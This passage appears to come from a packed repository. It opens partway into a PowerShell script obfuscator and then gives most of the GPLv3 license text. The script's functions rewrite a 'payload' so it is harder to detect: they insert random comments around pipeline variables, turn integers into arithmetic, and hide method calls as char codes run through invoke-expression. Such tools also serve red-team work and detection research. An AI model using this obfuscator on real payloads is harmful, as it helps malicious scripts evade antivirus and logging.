$Picker = 1..12 | Get-Random\n        If ($ShowChanges) {\n            Write-Host -NoNewline \"    Generator $($Picker) >> \"\n        }\n    }\n    Process {\n        Switch ($Picker) {\n            1 { $NewValue = '<##>$_' }\n            2 { $NewValue = '$_<##>' }\n            3 { $NewValue = '<##>$_<##>' }\n            4 { $NewValue = '<##>$($_)' }\n            5 { $NewValue = '$($_)<##>' }\n            6 { $NewValue = '<##>$($_)<##>' }\n            7 { \n                $Random1 = ('<#' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '') + '#>')\n                $NewValue = '<#1#>$_' -replace '<#1#>', $Random1\n            }\n            8 { \n                $Random1 = ('<#' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '') + '#>')\n                $NewValue = '$_<#1#>' -replace '<#1#>', $Random1\n            }\n            9 { \n                $Random1 = ('<#' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '') + '#>')\n                $Random2 = ('<#' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '') + '#>')\n                $NewValue = '<#1#>$_<#2#>' -replace '<#1#>', $Random1 -replace '<#2#>', $Random2\n            }\n            10 {\n                $Random1 = ('<#' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '') + '#>') \n                $NewValue = '<#1#>$($_)' -replace '<#1#>', $Random1\n            }\n            11 {\n                $Random1 = ('<#' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '') + '#>') \n                $NewValue = '$($_)<#1#>' -replace '<#1#>', $Random1\n            }          \n            12 { \n                $Random1 = ('<#' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '') + '#>')\n                $Random2 = ('<#' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '') + '#>')\n                $NewValue = '<#1#>$($_)<#2#>' -replace '<#1#>', $Random1 -replace '<#2#>', $Random2\n            }\n        }\n    }\n    End {\n        return $NewValue\n    }\n}\n\nfunction Find-PipelineVariable() {\n    <#\n    .SYNOPSIS\n        Identifies and replaces pipeline object variables.\n    \n    .DESCRIPTION\n        Peforms a regex search for all pipeline object variables ($_) within the payload and replaces each instance with a new value.\n        This does not replace instances where members of objects are being called ($_.)\n    \n    .PARAMETER Payload\n        The payload containing the PowerShell script to be converted\n    \n    .EXAMPLE\n        PS C:\\> Find-PipelineVariable -Payload 'Value1'\n    \n    .NOTES\n        This replaces each instance with a unique value by inserting unique beacon values that get replaced. \n    #>\n    [OutputType([System.String])]\n    param\n    (\n        [Parameter(Mandatory = $true, Position = 0)]\n        [System.String]$Payload\n    )\n    Begin {\n        $Occurrences = ($Payload | Select-String '\\$_(?!\\.)' -AllMatches).Matches.Count\n    }\n    Process {  \n        Try {\n            # For each occurence, replace it with a beacon value\n            1..$Occurrences | ForEach-Object {\n                [regex]$Pattern = '\\$_(?!\\.)'\n                $Payload = $Pattern.replace($Payload, \"<obfus($_)cate>\", 1)\n            }\n    \n            # For each occurence, replace it with an obfuscated value\n            1..$Occurrences | ForEach-Object {\n                $NewValue = Get-ObfuscatedPipelineVariable\n                $Payload = $Payload.Replace(\"<obfus($_)cate>\", $NewValue)\n                \n                # Show Changes\n                if ($ShowChanges) {\n                    Write-Host '$_ >> ' $NewValue\n                }\n            }\n        }\n        Catch {\n            Write-Host \"[!] $($MyInvocation.MyCommand.Name) Error - $($_.Exception.Message) - Skipping\"\n        }\n    }\n    End {\n        return $Payload\n    }\n}\n\nfunction Find-Integer() {\n    <#\n    .SYNOPSIS\n        Identifies and replaces integers within the payload.\n    \n    .DESCRIPTION\n        Peforms a regex search for all integers ($_) within the payload and replaces each instance with a new value.\n        This does not replace instances of 2>&1, where integers exist in variable names or ip addresses.\n    \n    .PARAMETER Payload\n        The payload containing the PowerShell script to be converted\n    \n    .EXAMPLE\n        PS C:\\> Find-Integer -Payload 'Value1'\n    \n    .NOTES\n        This replaces each instance with a unique value by inserting unique beacon values that get replaced. \n    #>\n    [OutputType([System.String])]\n    param\n    (\n        [Parameter(Mandatory = $true, Position = 0)]\n        [System.String]$Payload\n    )\n    Begin {\n        $Occurrences = [System.Management.Automation.PSParser]::Tokenize($Payload,[ref]$null) | Where-Object {$_.Type -eq 'Number' -and $_.content -ne 0} | Select-Object -ExpandProperty Content\n    }\n    Process {  \n        Try {\n            # For each occurence, replace it with a beacon value\n            $Occurrences | ForEach-Object {\n                $Beacon = New-EncodedBeacon -Value $_\n                [regex]$Pattern = \"(?<!\\w|\\$){0}\" -f $_\n                $Payload = $Pattern.replace($Payload, $Beacon, 1)\n            }\n\n            # For each occurence, replace it with an obfuscated value\n            (($Payload | Select-String '<obfus(.*?)cate>' -AllMatches)).Matches.Value | ForEach-Object {\n                $Decoded = $_ -replace '<obfus' -replace 'cate>' -replace '%'\n                $NewValue = Get-ObfuscatedInteger -Integer $Decoded\n                $Payload = $Payload.Replace(\"$_\", $NewValue, 1)\n\n                # Show Changes\n                if ($ShowChanges) {\n                    Write-Host \"$Decoded >> $NewValue\"\n                }\n            }\n        }\n        Catch {\n            Write-Host \"[!] $($MyInvocation.MyCommand.Name) Error - $($_.Exception.Message) - Skipping\"\n        }\n    }\n    End {\n        return $Payload\n    }\n}\n\nFunction Get-ObfuscatedInteger() {\n    <#\n    .SYNOPSIS\n        Genenerates a new integer variation.\n    \n    .DESCRIPTION\n        Genenerates a new integer variation using a randomly selected algorithm.\n\n    .PARAMETER Integer\n        The integer that will be replaced within the given payload.\n    \n    .EXAMPLE\n        PS C:\\> Get-ObfuscatedInteger -Integer 'value'\n    \n    .NOTES\n        Additional information about the function.\n    #>\n    [OutputType([System.String])]\n    param\n    (\n        [Parameter(Mandatory = $true, Position = 0)]\n        [System.String]$Integer\n    )\n    Begin {\n        $Picker = 1..2 | Get-Random\n        If ($ShowChanges) {\n            Write-Host -NoNewline \"    Generator $($Picker) >> \"\n        }\n    }\n    Process {\n        Switch ($Picker) {\n            1 {\n                $NewValue = Get-OperatorEncapsulation -Value $Integer\n            }\n            2 {\n                $NewValue = $Integer\n                (1..(1..10 | Get-Random) | ForEach-Object {\n                        # Plus or Minus\n                        switch ((1..2 | Get-Random)) {\n                            1 { $Operator = '+' }\n                            2 { $Operator = '-' }\n                        }\n                        \n                        # Left or Right\n                        switch ((1..2 | Get-Random)) {\n                            1 { $NewValue = \"0$Operator$NewValue\" }\n                            2 { $NewValue = \"$NewValue$Operator0\" }\n                        }\n                    } )\n                    \n                \n                # Ensure we do not create negative values\n                if ($NewValue -like \"*0-$Integer*\" ) {\n                    switch ((1..2 | Get-Random)) {\n                        1 { $NewValue = '$' + \"($NewValue+$Integer+$Integer)\" }\n                        2 { $NewValue = '$' + \"($Integer+$Integer+$NewValue)\" }\n                    }   \n                }\n                else {\n                    $NewValue = '$' + \"($NewValue)\"   \n                }\n            }\n        }\n    }\n    End {\n        return $NewValue\n    }\n}\n\nfunction Find-Method() {\n    <#\n    .SYNOPSIS\n        Identifies and replaces method invocations.\n    \n    .DESCRIPTION\n        Peforms a regex search for any method invocations within the payload and replaces each instance with a new value.\n    \n    .PARAMETER Payload\n        The payload containing the PowerShell script to be converted\n    \n    .EXAMPLE\n        PS C:\\> Find-Method -Payload 'Value1'\n    \n    .NOTES\n        This replaces each instance with a unique value by inserting unique beacon values that get replaced.\n    #>\n    Param (\n        [Parameter(Mandatory = $true, Position = 0)]\n        [System.String]$Payload\n    )\n    Begin {\n        $Occurrences = (($Payload | Select-String '(?<!\\w)\\$\\w+\\.\\w+\\(\\)' -AllMatches)).Matches.Value\n    }\n    Process {  \n        Try {\n            # For each occurence, replace it with a beacon value\n            $Occurrences | ForEach-Object {\n                $Beacon = New-EncodedBeacon -Value ($_ -replace '\"')\n                [regex]$Pattern = \"(?<!<obfu%)(?<!\\w)\\$\\w+\\.\\w+\\(\\)(?!%cate>)\"\n                $Payload = $Pattern.replace($Payload, $Beacon, 1)\n            }\n\n            # For each occurence, replace it with an obfuscated value\n            (($Payload | Select-String '<obfus(.*?)cate>' -AllMatches)).Matches.Value | ForEach-Object {\n                $Decoded = $_ -replace '<obfus' -replace 'cate>' -replace '%'\n                $NewValue = Get-ObfuscatedMethod -Method $Decoded\n                $Payload = $Payload.Replace(\"$_\", $NewValue, 1)\n\n                # Show Changes\n                if ($ShowChanges) {\n                    #Write-Host \"$Decoded >> $NewValue\"\n                    Write-Host \"$Decoded >> $NewValue\"\n                }\n            }\n        }\n        Catch {\n            Write-Host \"[!] $($MyInvocation.MyCommand.Name) Error - $($_.Exception.Message) - Skipping\"\n        }\n    }\n    End {\n        return $Payload\n    }\n}\n\nfunction Get-ObfuscatedMethod() {\n    <#\n    .SYNOPSIS\n        Genenerates a new variation of the derived method.\n    \n    .DESCRIPTION\n        Genenerates a new variation of the derived method variation using a randomly selected algorithm.\n    \n    .PARAMETER method\n        The method that will be replaced within the given payload.\n\n    .EXAMPLE\n        PS C:\\> Get-ObfuscatedMethod -Method 'value'\n    \n    .NOTES\n        Additional information about the function.\n    #>\n    [OutputType([System.String])]\n    param\n    (\n        [Parameter(Mandatory = $true, Position = 0)]\n        [System.String]$Method\n    )\n    Begin {\n        $Picker = 1..2 | Get-Random\n        If ($ShowChanges) {\n            Write-Host -NoNewline \"    Generator $($Picker) >> \"\n        }\n    }\n    Process {\n        Switch ($Picker) {\n            1 {               \n                # Create string array\n                $CharArrayString = ($Method.ToCharArray() | ForEach-Object { [int][char]$_ }) -join \",\"\n                $NewValue = $(Get-ObfuscatedCmdlet -Cmdlet 'invoke-expression') + '([string]::join('''', ( (<OBFUSCATED>) |%{ ( [char][int] $_)})) | % {$_})' -replace '<OBFUSCATED>', $CharArrayString\n                $NewValue = Get-OperatorEncapsulation -Value $NewValue\n            }\n            2 {\n                $NewValue = Get-OperatorEncapsulation -Value $Method\n            }\n        }\n    }\n    end {\n        return $NewValue\n    }\n}\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you 